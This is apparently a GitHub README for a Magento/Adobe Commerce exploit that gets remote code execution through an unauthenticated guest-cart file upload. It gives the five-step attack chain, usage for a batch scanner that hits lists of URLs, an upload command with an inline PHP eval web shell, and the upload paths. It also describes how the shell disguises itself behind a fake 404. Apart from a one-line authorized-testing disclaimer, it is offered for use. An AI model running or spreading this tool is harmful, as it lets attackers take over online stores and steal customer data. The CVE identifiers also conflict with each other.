amkkk221/cve-2025-43990-magento-rceMagento APSB25-94 अनप्रमाणित फ़ाइल अपलोड से RCE (CVE-2026-XXXX) - Eval Shell + Probe Scanner
Magento / Adobe Commerce में REST API गेस्ट कार्ट custom_options फ़ाइल अपलोड के माध्यम से अप्रमाणित फ़ाइल अपलोड का शोषण करता है।
1. GraphQL → leak product SKU
2. REST API → create guest cart
3. REST API → upload PNG polyshell via custom_options file_info
4. HTTP GET → access .php at predictable path
5. PHP exec → RCE
magento_godzilla.py — बैच स्कैनरदो-चरणीय अपलोड: प्रोब फ़ाइल (WAF-सुरक्षित) + eval शेल (404 छद्मावरण)।
pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt
आउटपुट: RCE_CONFIRMED, SHELL_KILLED, PROBE_ONLY
magento_upload.py — एकल लक्ष्य अपलोडpython magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw
/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}
GET नकली 404 लौटाता है (HTTP 200 + "Not Found" बॉडी)। POST पासवर्ड पैरामीटर के साथ कोड निष्पादित करता है।
केवल अधिकृत सुरक्षा परीक्षण के लिए।